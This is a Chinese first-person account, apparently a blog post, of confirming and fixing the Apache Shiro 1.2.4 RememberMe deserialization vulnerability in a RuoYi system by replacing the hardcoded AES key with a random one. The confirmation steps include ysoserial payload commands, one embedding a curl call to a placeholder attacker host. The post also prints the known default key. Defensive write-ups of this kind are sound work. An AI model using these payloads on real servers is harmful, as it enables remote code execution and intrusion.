若依(Shiro 1.2.4)安全加固实录：我是如何排查并修复RememberMe反序列化漏洞的

若依系统Shiro反序列化漏洞深度修复指南那天下午我正在办公室调试新功能突然收到安全团队的紧急通知——我们的若依系统被扫描出存在Shiro反序列化漏洞。作为一名有五年Java开发经验的老兵我立刻意识到问题的严重性。这不是普通的Bug而是一个可能让攻击者直接获取系统控制权的高危漏洞。接下来的48小时我经历了一场紧张而充实的漏洞修复之旅。1. 漏洞复现与确认首先需要确认漏洞是否真实存在。我使用Burp Suite抓取登录请求在Cookie中添加rememberMe1字段然后发送一个经过特殊构造的payload。几秒钟后服务器返回了异常堆栈信息——典型的Java反序列化特征。注意测试环境请使用虚拟机隔离避免影响生产系统关键证据出现在日志中org.apache.shiro.io.SerializationException: Unable to deserialize argument byte array at org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:83)通过分析堆栈确认漏洞涉及Shiro 1.2.4的RememberMe功能。攻击者可以利用固定密钥加密恶意序列化对象实现远程代码执行。以下是风险验证步骤环境准备安装Java 8和Maven下载若依v3.7.0源码配置Postman或Burp Suite漏洞验证# 生成测试payload java -jar ysoserial.jar CommonsBeanutils1 curl http://attacker.com payload.bin特征确认响应中包含rememberMedeleteMe服务器返回500错误且包含序列化异常2. 漏洞原理深度解析这个漏洞的本质在于Shiro的AES加密密钥硬编码问题。系统使用固定密钥kPHbIxk5D2deZiIxcaaaA对所有RememberMe cookie进行加密攻击者可以获取默认密钥构造恶意序列化对象用已知密钥加密通过Cookie提交执行技术细节分解风险点具体表现影响程度密钥固定ShiroConfig中使用Base64硬编码高危算法缺陷AES模式无随机IV严重反序列化未校验对象类型致命核心问题代码位于// 漏洞代码示例 public CookieRememberMeManager rememberMeManager() { CookieRememberMeManager manager new CookieRememberMeManager(); manager.setCipherKey(Base64.decode(kPHbIxk5D2deZiIxcaaaA)); return manager; }3. 修复方案评估与选择面对这个漏洞我评估了三种主流解决方案方案对比表方案实施难度系统影响安全系数维护成本升级Shiro中等需要全面测试★★★★低动态密钥较高需修改核心配置★★★★★中禁用功能简单影响用户体验★★无最终选择动态密钥方案主要基于生产环境已稳定运行大版本升级风险高RememberMe是核心功能禁用影响用户体验动态密钥能彻底解决密钥固定问题关键决策因素系统关键业务依赖RememberMe历史数据需要保持兼容团队对Shiro 1.2.4更熟悉4. 动态密钥实现详解实施过程分为四个关键步骤4.1 密钥生成工具类创建CipherUtils.javapackage com.ruoyi.common.utils.security; import javax.crypto.KeyGenerator; import java.security.Key; import java.security.NoSuchAlgorithmException; import java.security.SecureRandom; public class CipherUtils { private static final SecureRandom secureRandom new SecureRandom(); public static Key generateNewKey(int keyBitSize, String algorithmName) { try { KeyGenerator kg KeyGenerator.getInstance(algorithmName); kg.init(keyBitSize, secureRandom); return kg.generateKey(); } catch (NoSuchAlgorithmException e) { throw new IllegalStateException(Algorithm unavailable: algorithmName, e); } } }4.2 Shiro配置改造修改ShiroConfig.javaValue(${shiro.cookie.cipherKey:}) private String cipherKey; Bean public CookieRememberMeManager rememberMeManager() { CookieRememberMeManager manager new CookieRememberMeManager(); manager.setCookie(rememberMeCookie()); if (StringUtils.isNotEmpty(cipherKey)) { manager.setCipherKey(Base64.decode(cipherKey)); } else { manager.setCipherKey(CipherUtils.generateNewKey(256, AES).getEncoded()); } return manager; }4.3 应用配置调整在application.yml添加可选配置shiro: cookie: cipherKey: # 留空使用动态密钥或配置Base64编码的固定密钥4.4 会话管理增强额外增加防御措施// 在ShiroConfig中添加 Bean public SessionsSecurityManager securityManager() { DefaultWebSecurityManager manager new DefaultWebSecurityManager(); manager.setRememberMeManager(rememberMeManager()); manager.setSessionManager(sessionManager()); return manager; } private SessionManager sessionManager() { DefaultWebSessionManager manager new DefaultWebSessionManager(); manager.setSessionIdUrlRewritingEnabled(false); // 防止URL会话劫持 return manager; }5. 修复效果验证完成修改后需要进行全方位测试功能测试正常登录并勾选记住我关闭浏览器后重新访问检查Cookie有效期和加密特征安全测试# 再次尝试攻击 java -jar ysoserial.jar CommonsBeanutils1 id payload.bin # 发送恶意Cookie后观察响应验证要点相同payload不再触发反序列化每次重启服务密钥变化日志中无异常堆栈最终在安全扫描工具中确认漏洞已修复系统获得以下增强动态密钥防止密钥固定攻击256位AES提升加密强度SecureRandom确保密钥随机性配置灵活支持特殊场景这次经历让我深刻体会到安全无小事。一个看似简单的RememberMe功能背后竟隐藏着如此大的风险。现在我们的系统不仅修复了漏洞还建立了更健全的密钥管理机制。每当看到登录页面那个记住我的复选框我都会想起这次紧张刺激的修复过程——这大概就是工程师的成长印记吧。